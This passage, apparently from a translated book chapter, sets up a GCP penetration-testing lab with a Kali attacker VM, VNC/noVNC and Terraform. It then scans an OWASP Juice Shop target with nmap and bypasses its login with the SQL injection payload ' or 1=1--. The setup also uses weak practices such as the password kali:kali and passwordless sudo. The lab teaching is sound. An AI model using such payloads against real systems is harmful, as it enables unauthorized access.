.tar.gz文件来存储 Kali Linux 通用云镜像:tar -xf kl_image.tar.xz rm kl_image.tar.xz tar --format=oldgnu -Sczf kl_image.tar.gz disk.raw rm disk.raw在这里,我们能够准备一个名为
kl_image.tar.gz的压缩 tar 包文件,包含disk.raw文件的内容。 -
使用
gsutil命令创建一个新的Google Cloud Storage(GCS)桶:BUCKET_NAME=<BUCKET NAME> gsutil mb gs://$BUCKET_NAME确保将
<BUCKET NAME>替换为全球唯一的桶名称(对于尚未创建的桶)。可以参考以下链接了解命名 Cloud Storage 桶时的一些注意事项:cloud.google.com/storage/docs/buckets。
注意
如果这是你第一次使用gsutil命令行工具,它是 GCP 提供的一个命令行工具,用于与 GCS 交互。为了授权gsutil命令,我们需要点击授权按钮,授权Cloud Shell弹出窗口中的权限。这样可以允许执行gsutil命令所需的权限。
-
使用
gsutil工具将.tar.gz文件上传到现有的 GCS 桶中:gsutil cp kl_image.tar.gz \ gs://$BUCKET_NAME/kl_image.tar.gz您可以通过用户界面(Cloud 控制台)导航到
Cloud Storage Buckets页面,并检查.tar.gz文件是否已成功上传到存储桶中。 -
使用
gcloud compute images create命令从上传到 GCS 存储桶中的.tar.gz文件创建镜像:IMAGE_NAME=kali-linux-2023-000 gcloud compute images create $IMAGE_NAME \ --source-uri gs://$BUCKET_NAME/kl_image.tar.gz \ --family kali-linux您可以随意将
kali-linux-2023-000替换为不同的IMAGE_NAME值。
注意
gcloud CLI 是由 GCP 提供的统一命令行工具,允许用户从终端访问和管理各种 Google Cloud 资源。使用该命令行工具,我们可以执行任务,如配置和管理虚拟机、配置网络、部署应用、管理存储资源以及访问服务 API。另一方面,gsutil工具则方便进行各种任务,包括上传、下载、复制和管理 Cloud Storage 存储桶中的数据。值得注意的是,gcloud和gsutil具有不同的功能,不能将其混淆。
-
运行以下命令来验证我们是否成功创建了镜像:
gcloud compute images list --no-standard-images这应该返回以下输出:
NAME: kali-linux-2023-000 PROJECT: ... FAMILY: kali-linux DEPRECATED: STATUS: READY在这里,我们有一个过滤后的自定义镜像列表,这些镜像已经创建或导入到我们的账户中。
现在我们已经将镜像导入到 Google Cloud,接下来该做什么? 从这个镜像中,我们应该能够启动一个虚拟机实例,作为渗透测试实验环境中的攻击者实例。
手动设置攻击者虚拟机实例
在准备好我们的自定义镜像和 VPC 网络设置后,在 GCP 上设置我们的 Kali Linux 攻击机应该是直接的。然而,在继续本节的实践部分之前,让我们快速讨论一下攻击者 VM 将如何配置和部署。
首先,我们将在VPC 02中部署 Kali Linux 攻击机,类似于图 4.28所示:

图 4.28 – 在 VPC 02 的子网中设置攻击者虚拟机实例
来自攻击机的流量应该能够到达部署在VPC 01中的资源,因为VPC 02与VPC 01建立了对等连接,且配置的防火墙规则允许来自这两个 VPC 网络的流量到达这些网络中部署的资源。
除此之外,我们还将在攻击者虚拟机(VM)中设置以下内容:
-
TigerVNC—一种高性能的跨平台实现的虚拟网络计算(VNC),使用户能够远程访问并与远程机器上的图形应用程序进行交互 -
noVNC—一种基于 Web 的 VNC 实现,允许用户通过 Web 浏览器访问和控制远程桌面环境
这些将允许我们通过浏览器远程与攻击机的桌面环境进行交互(类似于图 4.29中所示的内容):

图 4.29 – 从攻击者实例中运行的浏览器访问目标实例
重要的是要区分图 4.29中显示的两个浏览器。第一个浏览器将在我们的本地机器上运行,显示我们 Kali Linux 虚拟机实例的桌面环境。在这个环境中,我们将启动 Firefox 浏览器,访问运行在目标虚拟机实例中的OWASP Juice Shop web 应用程序。
话虽如此,我们将把这一部分分为三部分,如下所示:
-
第一部分,共 3 部分 – 手动启动 攻击者实例
-
第二部分,共 3 部分 – 启用浏览器访问我们的 Kali Linux 服务器
-
第三部分,共 3 部分 – 验证 我们的设置
考虑到这些要点,让我们开始吧!
第一部分,共 3 部分 – 手动启动攻击者实例
执行以下步骤:
-
通过在搜索框中输入计算引擎并从搜索结果中选择计算引擎,进入虚拟机实例页面。
-
注意
vm-target的区域值(即us-central1-c),因为在创建kali-00虚拟机实例时,我们将使用相同的区域。 -
点击创建实例按钮。在创建新实例时,请指定以下配置值:
-
名称:
kali-00 -
区域:us-central1(爱荷华)
-
区域:
us-central1-c -
机器类型:
e2-medium -
启动磁盘:找到并点击更改按钮。切换到自定义镜像标签页,并从下拉选项中选择
kali-linux-2023-000镜像,类似于图 4.30所示。对于大小(GB)字段,指定一个50的值。之后点击选择按钮:![]()
图 4.30 – 配置启动磁盘
- 高级选项(展开)> 网络(展开)> 网络接口:在编辑
网络接口下将默认更改为vpc-02。
-
-
向下滚动至页面底部,然后点击创建按钮。
注意
等待一两分钟,直到此步骤完成。在等待时,可以喝杯咖啡或茶!
第二部分,共 3 部分 – 启用浏览器访问我们的 Kali Linux 服务器
执行以下步骤:
-
进入虚拟机实例页面,在那里我们可以找到正在运行的实例列表。点击名称栏下的链接(kali-00)以跳转到我们的 Kali Linux 虚拟机实例(kali-00)的实例详情页面。
-
点击连接到串行控制台按钮进入串行控制台。将弹出一个窗口。
注意
串行控制台允许用户直接在 GCP 中方便地访问虚拟机实例的串行端口。如果串行控制台无响应,可以尝试重新启动虚拟机实例,这通常能解决问题并恢复故障排除和诊断功能。如果需要清除终端屏幕内容,也可以运行clear命令。
-
一旦在弹出窗口中看到空白页面,点击空白页面内并按下回车键。你应该会看到
root@kali:~#提示符,可以以root用户身份运行bash命令。 -
现在,让我们运行以下命令块(在
root@kali:~#后)来设置对kali用户的访问:NEW_USER="kali" if ! id -u $NEW_USER > /dev/null 2>&1; then adduser --disabled-password --gecos "" $NEW_USER fi mkdir -p /home/$NEW_USER/.ssh chown $NEW_USER:$NEW_USER /home/$NEW_USER/.ssh chmod 700 /home/$NEW_USER/.ssh在这里,我们首先检查
kali用户是否存在,如果不存在则创建它。然后为该用户设置 SSH 目录,确保正确的所有权和权限。 -
运行以下命令(每次一行)将
$SSH_KEY变量的值写入位于用户主目录下.ssh目录中的authorized_keys文件。之后,使用cat命令显示authorized_keys文件的内容,检查更改是否已正确应用:SSH_KEY="<SSH PUBLIC KEY VALUE>" echo $SSH_KEY > /home/$NEW_USER/.ssh/authorized_keys cat /home/$NEW_USER/.ssh/authorized_keys确保用我们之前运行的
cat kali-ssh.pub命令的输出替换<SSH PUBLIC KEY VALUE>。
注意
$SSH_KEY变量的值应遵循类似ssh-rsa ...** **kali的格式。
-
接下来,让我们运行以下命令(每次一行)将
authorized_keys文件的所有权更改为$NEW_USER用户,将文件权限设置为600以限制访问,然后重新启动 SSH 服务:chown $NEW_USER:$NEW_USER /home/$NEW_USER/.ssh/authorized_keys chmod 600 /home/$NEW_USER/.ssh/authorized_keys systemctl restart ssh -
运行以下命令:(1)将
$NEW_USER用户添加到sudo组,(2)通过在/etc/sudoers.d/目录中创建配置文件授予用户无密码的 sudo 权限,(3)为配置文件设置适当的权限:usermod -aG sudo $NEW_USER echo '$NEW_USER ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/$NEW_USER-nopasswd chmod 440 /etc/sudoers.d/$NEW_USER-nopasswd -
现在,让我们切换到
kali用户帐户,然后导航到主文件夹:su kali cd ~ -
让我们更新软件包列表,然后使用以下命令安装 Kali Linux 的默认软件包集:
sudo DEBIAN_FRONTEND=noninteractive dpkg --configure -a sudo apt update sudo apt install -y dbus-x11 sudo DEBIAN_FRONTEND=noninteractive apt install -y kali-linux-default
注意
这一步可能需要 15-20 分钟来完成。在等待的过程中,不妨喝一杯咖啡或茶!如果你想要一个自动化执行此部分大多数工作的脚本,可以查看以下链接:bit.ly/kali-desktop-setup。在本章中,我们手动设置了攻击者虚拟机实例,这样可以更好地理解并欣赏在运行安装命令时,幕后发生的事情。在下一章中,我们将使用自动化脚本来设置攻击者虚拟机实例,从而加快速度。
-
接下来,下载
xfce4.sh脚本,使用chmod命令使其可执行,然后使用以下命令执行它:cd ~ wget `https://gitlab.com/kalilinux/recipes/kali-scripts/-/raw/main/xfce4.sh` chmod +x xfce4.sh sudo DEBIAN_FRONTEND=noninteractive ./xfce4.sh
注意
这一步可能需要大约 10 分钟来完成。在等待的过程中,不妨喝一杯咖啡或茶!
-
现在,让我们启用并启动
xrdp服务:sudo systemctl enable xrdp --now -
让我们也为
kali用户设置密码:echo kali:kali | sudo chpasswd -
接下来,让我们安装
TigerVNC和noVNC:sudo apt install -y tigervnc-standalone-server VNCPASS=kali123 printf "$VNCPASS\n$VNCPASS\n\n" | vncpasswd sudo DEBIAN_FRONTEND=noninteractive apt install -y novnc
注意
这一步可能需要一到两分钟来完成。完成之前的命令块后,可以随时运行clear命令来清除屏幕。
-
运行以下命令检查 VNC 服务器和 noVNC 代理是否已成功安装:
which vncserver /usr/share/novnc/utils/novnc_proxy --help -
让我们运行以下命令编辑
kali用户的cron 表(crontab):EDITOR=vim crontab -e -u kali在这里,我们指定希望使用
Vim来编辑 crontab 配置。
注意
如果你在想crontab是用来做什么的,它其实是一个基于时间的作业调度器,通常在执行管理任务和定期(通常是重复性的)任务时被用户使用。系统中的每个用户都可以拥有自己的 crontab 文件,里面包含一系列的计划任务。用户可以使用crontab命令来创建、编辑和管理他们的 crontab 文件,该命令提供了查看、修改或删除条目的选项。
-
按下Shift + g跳转到文件的最后一行。按下o(小写字母“o”)以在当前行下方打开一行并进入插入模式。
-
将以下两条条目添加到文件的末尾:
@reboot sleep 60 && /usr/bin/vncserver @reboot sleep 60 && /usr/share/novnc/utils/novnc_proxy --listen 0.0.0.0:8081 --vnc localhost:5901 >/dev/null 2>&1 &通过在这些 crontab 条目前添加
@reboot,VNC 服务器和 noVNC 代理将在每次系统重启时自动启动。这将确保(1)保持对图形桌面环境的持久访问,并(2)通过基于 Web 的 noVNC 客户端启用远程连接。这里,你可以看到我们已经配置了vncserver和novnc_proxy,它们将在 60 秒后启动,以便等待系统进程准备就绪。
注意
请记住,系统启动时运行 VNC 服务器和 noVNC 代理有其他替代方法可用。这些方法包括使用init脚本、systemd单元或启动配置文件,具体取决于操作系统和配置偏好。
-
按下Esc键切换到正常模式。输入
:wq!,然后按Enter键。这将保存对 crontab 配置所做的更改,并退出 Vim 编辑器。你可以随时使用crontab -l命令来验证计划任务和命令是否已正确配置在虚拟机实例的 cron 作业调度器中。 -
关闭串口控制台弹出窗口。
-
在虚拟机详情页面,找到并点击重置按钮以重新启动实例。等待大约 3-5 分钟,直到实例重启完成。
注意
我们现在可以安全地关闭 Cloud Shell 编辑器,因为我们不会丢失任何文件或进度(关闭编辑器并不会删除或移除任何文件)。当我们需要编辑文件或运行终端命令时,可以稍后重新打开它。
第三部分,共 3 部分 – 验证我们的设置
在自动化我们当前的设置之前,我们首先需要验证我们手动设置并配置的虚拟机实例是否正常工作。为此,按照以下步骤操作:
-
在我们的 Kali Linux 虚拟机实例(kali-00)的实例详情页面,向下滚动并找到外部 IP 地址值(在网络接口下),并将其复制到剪贴板中。
-
打开一个新的浏览器标签页,使用以下 URL 访问基于 Web 的 noVNC 客户端:
http://<ATTACKER VM PUBLIC IP ADDRESS>:8081/vnc.html确保将
<ATTACKER VM PUBLIC IP ADDRESS>替换为在之前步骤中复制到剪贴板的外部 IP 地址值。这应该会打开一个欢迎屏幕,并显示一个连接按钮,类似于我们在图 4.31中看到的:
![]()
图 4.31 – noVNC 欢迎界面
重要提示
如果你发现无法访问欢迎界面,可能是你的 IP 地址已经发生变化。只需打开 Cloud Shell 编辑器并更新terraform.tfvars文件。更新terraform.tfvars文件以包含本地机器的新 IP 地址后,再次运行terraform apply命令,以更新防火墙规则,允许你的新 IP 地址通过。
-
点击连接按钮,然后使用密码
kali123(或使用你在早期步骤中指定的密码)访问桌面环境,类似于我们在图 4.32中看到的那样:![]()
图 4.32 – 在浏览器中访问 Kali Linux 桌面/GUI 环境
一旦我们能够访问桌面环境,我们就能执行各种任务,并访问 Kali Linux 中提供的各种工具和实用程序(类似于我们在本地机器上使用的方式)。
注意事项
如果你遇到无法连接到服务器的错误,请等待大约 2-3 分钟后,再尝试访问桌面/GUI 环境。
-
点击桌面环境左上角的
Firefox图标打开 Firefox 浏览器,导航至http://<PRIVATE IP OF TARGET VM>,以打开 OWASP Juice Shop 易受攻击的 Web 应用程序:![]()
图 4.33 – 从攻击者实例中的浏览器访问目标实例
请记住使用目标虚拟机实例的私有 IP 地址,而不是公共 IP 地址,因为我们的
VPC 01网络已经特别配置为仅允许来自VPC 02内资源的流量。
注意事项
现在我们已经验证了我们的设置正常工作,我们可以关闭用于访问 Kali Linux 桌面环境的浏览器标签。我们将在本章的在隔离网络环境中模拟渗透测试部分继续探索 OWASP Juice Shop 应用程序。
需要注意的是,我们还可以通过SSH 隧道从本地机器访问攻击者实例的桌面环境。记得我们在本章早些时候生成的私钥文件吗? 一旦我们将此密钥文件下载到本地机器上,我们只需执行以下步骤:(1)在本地机器中打开一个新的终端标签,(2)导航到包含私钥文件的目录,(3)运行以下命令,在本地机器和攻击者虚拟机实例之间创建一个 SSH 隧道:
ssh -L 8081:localhost:8081 -N -i <INSERT KEY NAME> <USER>@<ATTACKER VM IP>
一旦 SSH 隧道建立,我们就可以通过http://localhost:8081/vnc.html访问相同的桌面环境(而不是使用攻击者 VM 实例的公网 IP 地址)。如果你在想 SSH 隧道是什么,它其实就是一种用于访问远程服务器中运行的服务和应用的安全加密连接。SSH 隧道利用 SSH 的加密和身份验证能力来保护通过隧道传输的数据。有了 SSH 隧道,我们就可以安全地访问攻击者 VM 实例的桌面环境。
注意
我们将把这部分留给你作为练习。如果你想进一步升级我们的配置,随时可以查看github.com/novnc/noVNC/wiki/Advanced-usage。
利用 Terraform 自动设置攻击者 VM 实例
上一部分主要集中在手动设置攻击者 VM 实例上。之所以需要这样做,是因为我们将利用这个 VM 实例(kali-00)作为参考来创建黄金镜像。通过创建黄金镜像,我们可以捕获 VM 实例的所需配置和设置,从而在未来更容易复制和部署具有相同规格的类似实例。
请注意,另一种自动化设置 VM 实例的方式是使用基础设施即代码(IaC)工具,如 Ansible,来设置VM 实例内部的内容(除了使用 Terraform 来设置、配置和管理云资源之外)。在准备 VM 实例时,了解每种方法的独特优势和差异非常重要。黄金镜像非常适合需要预定义和静态环境的场景,因为它们能够捕获完全配置的 VM 实例的所需配置、设置和软件。通过使用黄金镜像作为模板,可以快速创建具有完全相同规格的新实例—确保一致性并减少手动配置所需的时间和精力。另一方面,使用 IaC 工具(如 Ansible)与 Terraform 结合使用,可以进行动态配置更改,使其适用于需要频繁更新和配置更改的环境。
注意
也就是说,最合适的方法实际上取决于环境的具体需求、所需的定制程度,以及管理 VM 实例时所期望的自动化和灵活性水平。
我们将把这部分分为三部分,具体如下:
-
第一部分,共 3 部分 – 创建一个 黄金镜像
-
第二部分,共 3 部分 – 使用 Terraform 准备攻击者 VM 实例
-
第三部分,共 3 部分 – 访问 Kali Linux 桌面环境
牢记这些要点,我们继续自动化设置攻击者 VM 实例的过程吧!
第一部分,共 3 部分 – 创建黄金镜像
按照以下步骤进行:
-
通过在搜索框中输入计算引擎,并从搜索结果中选择计算引擎,导航到虚拟机实例页面。在这里,我们可以找到 GCP 账户中的虚拟机实例列表。
-
点击名称列下的链接(kali-00),进入我们攻击者虚拟机实例(kali-00)的实例详情页面。
-
通过点击停止来关闭实例。在弹出的停止 kali-00窗口中确认此操作,点击停止。
注意
请注意,虚拟机实例停止可能需要约 3-5 分钟。在继续下一步之前,请等待虚拟机实例停止。
-
接下来,点击创建
机器映像。 -
在创建机器映像页面,指定
kali-golden-image作为名称值,然后点击创建按钮。 -
在机器映像页面,等待几分钟,直到
kali-golden-image映像的状态变为已准备好。
注意
你可以点击刷新按钮来更新状态并检查映像是否准备好使用。
-
导航到机器映像详情页面。向下滚动页面到底部,点击
REST链接(来自等效 REST 或命令行)。定位并复制
selfLink值,如图 4.34所示:![]()
图 4.34 – 定位机器映像的 selfLink 值
将此值保存在本地机器的文本编辑器中。
selfLink值的格式应类似于以下内容:projects/<PROJECT ID>/global/machineImages/kali-golden-image请记住,你会得到一个不同的<项目 ID>值(因此不要直接复制截图中的内容)。
注意
请注意,基于我们在前一组步骤中准备的映像,仍然可以进行进一步的升级。与此同时,这一过程应该足够了。
-
返回到虚拟机实例页面。点击名称列下的链接(kali-00),进入我们攻击者虚拟机实例(kali-00)的实例详情页面。
-
使用删除按钮在虚拟机实例页面删除我们手动创建的 Kali Linux 实例(命名为kali-00)。在弹出的删除
**kali-00窗口中确认删除,点击删除**。
第二部分 共 3 部分 – 使用 Terraform 准备攻击者虚拟机实例
按照以下步骤操作:
-
打开 Cloud Shell 终端。如果你在之前的步骤中关闭了它,只需点击页面右上角的激活 Cloud Shell按钮(如图 4.35所示):
![]()
图 4.35 – 激活 Cloud Shell
这应该会打开一个终端,我们可以在其中运行命令行命令。
-
点击 Cloud Shell 终端面板右上角的打开编辑器按钮。如果你看不到终端,请打开 Cloud Shell 编辑器的终端菜单,然后从选项列表中选择新建终端。
-
在 Cloud Shell 终端(
$符号后),通过运行以下命令(逐行执行)导航到~/pentest_lab/attacker_vm目录:cd ~/pentest_lab cd attacker_vm -
运行以下命令(逐行执行)以创建我们在
attacker_vm模块中需要的文件:touch main.tf touch variables.tf touch outputs.tf在这里,我们在
~/pentest_lab/attacker_vm目录中创建了三个空文件——(1)用于定义主配置和资源的main.tf文件,(2)用于声明和管理配置中使用的变量的variables.tf文件,以及(3)用于在应用配置后指定将公开的输出或值的outputs.tf文件。 -
接下来,在编辑器中打开
attacker_vm/variables.tf文件,并添加以下代码块来定义我们的attacker_vm模块的subnet_02、kali_machine_image和my_public_ssh_key变量:variable "subnet_02" { type = string } variable "kali_machine_image" { type = string default = "<INSERT IMAGE>" } variable "my_public_ssh_key" { type = string }请确保用上一节中机器映像的
selfLink值替换<INSERT IMAGE>。
注意
在进入下一步之前,请不要忘记保存attacker_vm/variables.tf文件。
-
在编辑器中打开
attacker_vm/main.tf文件,并添加以下代码块以定义和配置攻击者 VM 实例:locals {subnet_02 = var.subnet_02 } resource "google_compute_instance_from_machine_image" "kali_vm" { provider = google-beta name = "vm-kali" machine_type = "e2-medium" zone = "us-central1-c" source_machine_image = var.kali_machine_image metadata = { ssh-keys = "kali:${var.my_public_ssh_key}" } network_interface { subnetwork = local.subnet_02 access_config {} } }在定义攻击者 VM 资源时,我们使用
google_compute_instance_from_machine_image而不是google_compute_instance,因为我们希望从预先存在的机器映像创建 VM 实例。这允许我们快速配置具有所需配置和软件设置的实例,例如使用 Kali Linux 镜像作为攻击者 VM。在键入这些代码块时,请确保{在"kali_vm"之后(同一行而不是下一行)。
注意
在进入下一步之前,请不要忘记保存attacker_vm/main.tf文件。
-
在编辑器中打开
attacker_vm/outputs.tf文件,并添加以下代码行以定义以下输出:(1)attacker_vm_public_ip——攻击者 VM 实例的公共 IP 地址值,(2)attacker_vm_access——用于从浏览器访问桌面环境的 URL:locals { kali_public_ip = google_compute_instance_from_machine_image.kali_vm.network_interface.0.access_config.0.nat_ip } output "attacker_vm_public_ip" { value = local.kali_public_ip } output "attacker_vm_access" { value = "http://${local.kali_public_ip}:8081/vnc.html" }在进入下一步之前,请确保保存
attacker_vm/outputs.tf文件。 -
运行以下命令以返回到
~/pentest_lab项目文件夹:cd ~/pentest_lab -
让我们使用
terraform init命令重新初始化 Terraform 工作目录(因为attacker_vm模块代码有更改):terraform init -
让我们运行
terraform plan以预览 Terraform 将执行的更改:terraform plan这应该会导致我们出现Missing required argument — The argument “subnet_02” is required, but no definition was found和Missing required argument — The argument “my_public_ssh_key” is required, but no definition was found错误消息,因为我们在声明
attacker_vm模块时没有为subnet_02和my_public_ssh_key参数提供任何值。
注意
如果你想知道为什么突然出现了这个问题,重要的是要记住我们在之前的步骤中在attacker_vm/variables.tf文件中定义了subnet_02和my_public_ssh_key变量。
-
为了解决上一步遇到的问题,我们需要确保在声明
attacker_vm模块时为subnet_02和my_public_ssh_key参数提供一个值。使用图 4**.36作为参考,我们将通过将
secure_network模块的subnet_02输出值传递给attacker_vm模块的subnet_02输入变量来解决问题:![]()
图 4.36 – 在声明 attacker_vm 模块时为 subnet_02 和 my_public_ssh_key 参数提供一个值
与此同时,我们将
my_public_ssh_key变量值传递给attacker_vm模块的my_public_ssh_key输入变量。现在我们对如何解决问题有了更好的理解,让我们在我们的main.tf文件(~/pentest_lab/main.tf)中找到以下代码块:module "attacker_vm" { source = "./attacker_vm" }让我们用以下代码块替换这段代码:
module "attacker_vm" { source = "./attacker_vm"subnet_02 = module.secure_network.subnet_02 my_public_ssh_key = var.my_public_ssh_key }在这里,我们将
secure_network模块(module.secure_network.subnet_02)的输出值传递给attacker_vm模块的subnet_02输入变量。除此之外,我们还将my_public_ssh_key变量值传递给attacker_vm模块的my_public_ssh_key输入变量。 -
让我们运行
terraform plan来预览 Terraform 将执行的更改:terraform plan这次,我们不应遇到
Missing required argument错误消息。 -
接下来,让我们使用
terraform apply命令来实施更改:terraform apply -auto-approve
注意
等待一两分钟以完成此步骤。在等待时,可以随意喝杯咖啡或茶!
-
由于我们希望显示攻击者 VM 实例的公共 IP 地址以及 Kali Linux 桌面环境访问 URL 作为输出,我们将在根模块
outputs.tf文件中引用和利用attacker_vm模块(以及target_vm模块)的输出(类似于图 4**.37中所示):![]()
图 4.37 – 利用 attacker_vm 和 target_vm 模块的输出
使用图 4**.37作为参考,我们将使用以下代码块更新
outputs.tf文件:output "target_vm_username" { value = module.target_vm.target_vm_username } output "target_vm_password" { value = module.target_vm.target_vm_password } output "target_vm_private_ip" { value = module.target_vm.target_vm_private_ip } output "target_vm_public_ip" { value = module.target_vm.target_vm_public_ip } output "attacker_vm_public_ip" { value = module.attacker_vm.attacker_vm_public_ip } output "attacker_vm_access" { value = module.attacker_vm.attacker_vm_access }在这里,我们定义了以下输出:(1)
target_vm_username和target_vm_password—用于通过串行控制台访问目标 VM 实例的用户名和密码,(2)target_vm_public_ip和target_vm_private_ip—目标 VM 实例的公共和私有 IP 地址值,(3)attacker_vm_public_ip—攻击者 VM 实例的公共 IP 地址值,(4)attacker_vm_access—用于从浏览器访问桌面环境的 URL。
注意
确保不要重复定义outputs.tf文件中定义的输出块。
-
让我们运行
terraform plan来预览 Terraform 将执行的更改:terraform plan -
接下来,让我们使用
terraform apply命令来实施更改:terraform apply -auto-approve等待一两分钟,直到此步骤完成。这应该产生以下输出:
Outputs: attacker_vm_access = "..." attacker_vm_public_ip = "..." target_vm_password = "..." target_vm_private_ip = "..." target_vm_public_ip = "..." target_vm_username = "testuser"将
attacker_vm_public_ip输出值存储并保存在文本编辑器中,因为我们将在本章的后续步骤中使用它。
第三部分 – 访问 Kali Linux 桌面环境
按照以下步骤进行:
-
此时,我们应该已经设置好以下内容:
![]()
图 4.38 – 部署并配置在 GCP 中的当前设置
在这里,我们已经将本地机器的 IP 地址列入白名单,以通过端口
22和8081访问VPC 02中的攻击者 VM 实例。
注意
虽然我们可以进一步升级此设置以包括其他安全机制(例如建立 VPN 连接),但目前这应该足够了。
-
现在,让我们打开一个新的浏览器标签,并使用以下网址访问桌面环境:
http://<ATTACKER VM PUBLIC IP ADDRESS>:8081/vnc.html请确保在运行
terraform apply命令后,用<攻击者 VM 公共 IP 地址>替换attacker_vm_public_ip输出值。这应该打开一个带有连接按钮的欢迎界面,类似于我们在图 4**.39中看到的:

图 4.39 – noVNC 欢迎界面
重要提示
如果您发现自己无法访问欢迎界面,可能是您的 IP 地址已经更改。只需更新terraform.tfvars文件,然后再次运行terraform apply命令以更新防火墙规则以允许您的新 IP 地址。
-
点击连接按钮,然后使用密码
kali123(或使用您在早期步骤中指定的密码)访问桌面环境,类似于我们在图 4**.40中看到的:![]()
图 4.40 – 在浏览器中访问 Kali Linux 桌面/GUI 环境
一旦我们能够访问桌面环境,我们应该能够执行各种任务,并访问 Kali Linux 中提供的广泛工具和实用程序(类似于我们在本地机器上使用的方式)。
注意
请注意,您可以使用连接性测试诊断工具验证网络连接。更多信息,请查看以下链接:cloud.google.com/network-intelligence-center/docs/connectivity-tests/how-to/running-connectivity-tests。
在隔离的网络环境中模拟渗透测试
鉴于我们在 GCP 中设置了实验环境,我们现在可以继续进行渗透测试模拟,以验证一切是否已正确配置。当然,我们将使用简化的渗透测试流程,因为我们的主要目标是评估渗透测试实验室环境是否已正确设置和配置:

图 4.41 – 渗透测试模拟
我们的模拟将从端口扫描开始,以检查目标虚拟机实例(vm-target)的开放端口。在确认端口80是开放的后,我们将使用网页浏览器浏览页面,并探索可通过该端口访问的脆弱网页应用程序(运行在容器内部)的功能。我们将在使用 SQL 注入攻击获得管理员访问权限并成功使用管理员账户登录后结束模拟。
重要提示
攻击他人或公司拥有的云资源是非道德且非法的。在继续之前,请务必阅读《云环境中构建渗透测试实验室时的考虑事项》部分,这部分内容位于《云中的渗透测试实验室入门》一书的第一章中(Chapter 1),因为我们将模拟攻击过程,以验证目标虚拟机实例中运行的应用程序和服务中的配置错误和漏洞是否可以被利用。
话虽如此,让我们开始渗透测试模拟。按以下步骤操作:
-
在上一节的基础上,让我们通过点击 Kali Linux 桌面界面左上角的
Terminal图标来访问终端应用程序。 -
在终端窗口中,运行以下命令(在
$符号后)以将目标虚拟机实例的私有 IP 地址值存储在TARGET_IP变量中:TARGET_IP=<PRIVATE IP ADDRESS OF TARGET VM>确保将
<PRIVATE IP ADDRESS OF TARGET VM>替换为目标虚拟机实例(vm-target)的私有 IP 地址。使用私有 IP 可以确保请求保持在预定的网络环境中。此外,我们无法使用目标虚拟机实例的公共 IP 地址进行访问。因为该网络环境未配置为允许外部流量到达目标虚拟机实例所在的VPC 01,即便网络流量来自VPC 01和VPC 02中的其他云资源。
注意
由于目标虚拟机实例所在子网的 CIDR 范围为10.1.0.0/20,因此目标虚拟机实例的 IP 地址应该在10.1.0.0到10.1.15.255范围内(不包括保留 IP 地址)。更多信息,请参考以下链接:cloud.google.com/vpc/docs/subnets。
-
现在,让我们使用
nmap扫描目标虚拟机实例的前1000个端口:nmap --top-ports 1000 $TARGET_IP这应该会提供关于目标虚拟机实例上开放端口和相应服务的信息。它可以帮助我们识别哪些端口是可访问的,且可能容易受到攻击,例如 SSH(端口22)和 HTTP(端口80),这与图 4.42所示相似:
![]()
图 4.42 – nmap 扫描结果
根据
nmap扫描的结果,可以执行进一步的步骤来评估目标虚拟机实例上开放的端口和运行的服务。然而,暂时我们将跳过这些步骤,继续进行渗透测试过程中的其他环节。
重要提示
如果你在想nmap是什么,它是一款流行的开源网络扫描工具,旨在通过发送数据包并分析响应来发现计算机网络中的主机和服务。使用nmap,我们可以执行如主机发现(识别网络中的活动主机)、端口扫描(识别潜在的入口点或特定端口上运行的服务)、操作系统检测(收集关于目标主机操作系统的信息)以及服务枚举(收集关于开放端口上运行的具体服务的详细信息)等任务。除了这些,nmap还提供了其他高级功能和能力,如脚本扫描(自动化特定任务)、版本检测(识别目标系统上运行的特定软件版本)、隐匿扫描(规避检测)和时间与性能调优(优化扫描速度和准确性)。强大吧? 在将nmap与其他渗透测试工具结合使用时,务必小心,因为它可能会产生大量网络流量,并且如果不谨慎使用,可能触发安全警报或破坏网络操作。建议遵循道德黑客实践,获取必要的权限,并使用适当的过滤机制,以最小化执行全面安全评估时可能产生的任何意外后果。
-
现在,您可以关闭终端窗口。
-
现在,让我们检查一下目标虚拟机实例的
80端口上正在运行的内容。通过选择桌面界面左上角的Firefox图标来启动Firefox浏览器。然后访问以下 URL:http://<PRIVATE IP ADDRESS OF TARGET VM>这将打开 OWASP Juice Shop——一个设计上脆弱的 Web 应用程序,类似于我们在图 4.43中看到的:
![]()
图 4.43 – 从攻击者实例中的浏览器访问目标实例
这里,我们有 OWASP Juice Shop——一个设计上脆弱的应用程序,包含各种挑战和漏洞,旨在帮助安全从业者和工程师理解和学习常见的安全缺陷。
重要提示
请记得使用目标虚拟机实例的私有 IP 地址(而不是公共 IP 地址),因为我们的VPC 01网络已专门配置为只允许来自VPC 02中的资源的流量。
-
接下来的几分钟,浏览 OWASP Juice Shop 应用程序的功能和内容,浏览不同的页面和功能。随意与应用程序中的表单、按钮和链接互动,以理解它们的行为和目的。
-
现在,让我们通过打开页面左上角的
Account菜单并点击Login,来导航到Login页面。这将把我们重定向到Login页面,类似于我们在 图 4.44 中看到的那样:![]()
图 4.44 – OWASP Juice Shop 登录页面
在这里,我们有一个登录表单,允许我们指定电子邮件地址和值和密码值。通过分析登录过程并尝试各种技术,我们应该能够识别和利用登录功能中存在的任何漏洞。
-
让我们尝试执行 SQL 注入攻击!在
Email字段中输入' or 1=1--。之后,在Password字段中输入123(或任何字符组合)。然后点击Log in按钮。这应该会给我们一个成功的通知,类似于我们在 图 4.45 中看到的那样:![]()
图 4.45 – 使用 SQL 注入攻击成功解决挑战
看起来我们成功使用管理员的用户帐户登录了! 刚才发生了什么? 在这里,我们的 SQL 注入攻击让我们能够使用包含已注册应用用户(或帐户)的表中的第一条记录进行身份验证。幸运的是,这条记录恰好是一个管理员帐户(admin@juice-sh.op)!
如果你在想 SQL 注入攻击 是什么,它是一种攻击者利用应用程序输入字段中的漏洞注入恶意 SQL 语句的技术。在这个特定案例中,通过在
Email字段中输入' or 1=1--,应用程序后台执行的更新 SQL 查询可能如下所示:SELECT * FROM users WHERE email = '' or 1=1--' AND password = '123';注入的部分使得
WHERE条件始终评估为true,从而绕过了有效的电子邮件地址和密码的需求。这使得我们能够在无需提供合法凭据的情况下登录。--用于注释掉原始查询的其余部分,确保注入的代码不会导致任何语法错误。
重要提示
我们故意跳过了一些步骤,因为我们使用了简化的渗透测试过程来验证我们的实验室配置和设置。也就是说,真实世界中的渗透测试涉及更全面和结构化的方法,包含多种技术、工具和方法,旨在彻底评估一个应用程序或系统的安全性。
